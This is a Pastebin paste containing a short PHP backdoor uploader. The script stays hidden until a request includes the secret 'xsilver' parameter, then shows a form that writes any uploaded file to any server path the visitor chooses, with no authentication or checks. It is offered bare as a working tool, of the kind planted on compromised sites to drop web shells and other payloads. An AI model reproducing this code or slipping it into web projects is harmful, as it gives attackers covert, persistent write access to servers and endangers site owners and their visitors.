Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_GET['xsilver'])) {
- if(isset($_FILES["file"])) {
- $path = $_POST["path"];
- if(copy($_FILES["file"]["tmp_name"],$path.DIRECTORY_SEPARATOR.$_FILES["file"]["name"])) {
- echo "File Uploaded in: ".$path.DIRECTORY_SEPARATOR.$_FILES["file"]["name"]."<br>";
- }
- }
- else {
- echo '<form enctype="multipart/form-data" method="POST">Path: <input type="text" value="'.getcwd().'" name="path" style="width:50%"><br><input type="file" name="file" /><input type="submit" value="upload" /></form>';
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement